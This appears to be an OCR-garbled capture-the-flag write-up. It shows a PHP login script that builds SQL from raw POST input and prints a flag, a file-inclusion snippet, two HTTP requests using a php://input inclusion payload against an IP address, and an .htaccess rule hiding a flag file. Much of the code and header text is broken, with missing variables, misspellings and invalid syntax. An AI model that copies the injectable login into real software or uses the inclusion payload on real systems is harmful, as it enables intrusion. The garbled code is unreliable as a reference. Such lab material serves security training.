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<?php

include ("config.php");
$db = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($database, $db) or die("Could not select database");
mysql_query("set names utf8");

if ($conn->connect_error) {

die("Connection failed: . mysql_error($conn));

$user = $ POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (! $query) {
printf("Error: %s\n", mysqli_error($conn));
exit();
}
$row = mysql_fetch_array($query);
if (($row[pw]) && (! strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key: " . $flag . " </p>";
} else {
echo ("<p>Log in failure!</p>");
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require_once('config.php');

= ['file'];
= file_get_contents( )
print_r( );
if( = )
print_r( );
)i
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GET /index.php?file=php://input HTTP/Ll.1
Host: 119.61.19.217:51301

Pragma: no-cache

Cache-Control: no-cache
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114

Safari/537.36
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/a
vif, image/webp, image/ apng, */ *;g=0.8,application/signed-exchan

ge;v=h3;q=0.8
Accept-Encoding: gzip, deflate
Aoecept-Language: zh-CN, zh;qg=0.9

Cookie: PHPIESSID=lslusvhOv7progld?vllkEvhrhe:

Connection: close
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GET /index.php?file=php://input HTTP/1l.1
Host: 119.61.19.217:51301
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Tnsecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4; =&4)
AppleWebKit/537.36 (KHTHML, like Gecko) Chrome/89.0.4385.114
Safari/537.36
Aocept:
text/htwl, application/xhtml+xml, application/xml;q=0.9, image/a
vif, image/webp, image/apng, */ *;q=0.8, application/signed-exchan
ge;v=h3;q=0.89
Aecept-Encoding: gzip, deflate
Acecept-Language: zh-CMN, zh;q=0.9
Cookie: PHPSESSID=IlslusvhlvTprgld7v]llkBvhrhe; night=0
Connection: close
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<FilesMatch “. (htaccess|htpasswd|zqlite|db)$”>
Order Allow, Deny

Deny from all

<fFilesMatch>

<FilesMatch “*.php=}">
Order Allow, Deny
Allow from all

¢fFilesMatch> /

{FilesMatch “ctf_Cln F14G">
Order Allow, Deny
Deny from all

</FilesMatch>
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